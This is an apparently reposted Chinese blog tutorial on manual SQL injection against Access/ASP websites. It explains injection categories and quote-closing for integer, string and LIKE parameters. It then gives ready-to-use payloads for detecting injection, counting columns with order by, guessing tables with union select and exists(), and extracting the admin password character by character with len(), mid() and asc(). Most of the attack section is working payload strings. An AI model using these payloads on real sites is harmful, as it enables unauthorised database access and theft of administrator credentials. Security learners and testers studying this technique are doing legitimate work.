vlambda博客
学习文章列表

sql注入-access+asp手工注入

sql注入的分类

  • 按照接收方式分为三类

https://www.cnblogs.com/cuihongyu3503319/p/5892257.html

GET:GET参数是放在 url 中的,GET请求的 url 传参有长度限制,中文需要URL编码

POST:POST参数是放在请求body里的,长度没有限制

COOKIE:cookie是放在请求头信息中,提交的时候,服务器会从请求头获取参数

  • 数据类型的区分

int 整型:select * from user where id=1

闭合:select * from user where id =1 and 1=1

string 字符型:select * from user where username='admin'

闭合:select * from user where username='admin' and 'x'='x'

like 搜索型:select * from news where title like '%搜索的内容%'

闭合:select * from news where title like '%ver%' and ' 1%' = '1%'

  • 注入方法区分

联合查询注入

报错注入

布尔盲注

时间盲注

access+asp手工注入

access数据库与其他数据库不一样,没有储存表的库,所以只能猜表。

access数据库结构:表--字段--数据

判断是否存在注入

and 判断

id=1 and 1=1 正常页面  /  id=-1 or 1=1  正常页面

sql注入-access+asp手工注入

id=1 and 1=2 错误页面  /  id =-1 or 1=2 错误页面

sql注入-access+asp手工注入

下面为不存在注入

sql注入-access+asp手工注入

判断字节数

order by 判断当前表的字节数

id=1 order by 22

显示正常,代表存在

sql注入-access+asp手工注入

显示错误,表示不存在

sql注入-access+asp手工注入

猜表

  • 如果表存在,页面显示正常

id=1 union select 1,2,3,4,...,22 from admin

sql注入-access+asp手工注入

回显出3,15;可利用进行猜解字段

  • exists猜表是否存在,存在则页面显示正常

id=1 and exists(select * from admin)

sql注入-access+asp手工注入

猜字段、数据

在显示的数字上替换成要猜解的字段,如果存在,页面显示正常

sql注入-access+asp手工注入

  • exists猜列是否存在

sql注入-access+asp手工注入

  • 猜字段长度:

id=1 and(select top 1 len(password) from admin)=8

判断来自表admin中的第一个password的长度是否等于8

  • 猜数据的长度

mid():截取位置

asc():ascii码

id=1 and (select top 1 asc(mid(password,1,1)) from admin)=97

猜解表admin中的第一个password的第一个字符的ascii码长度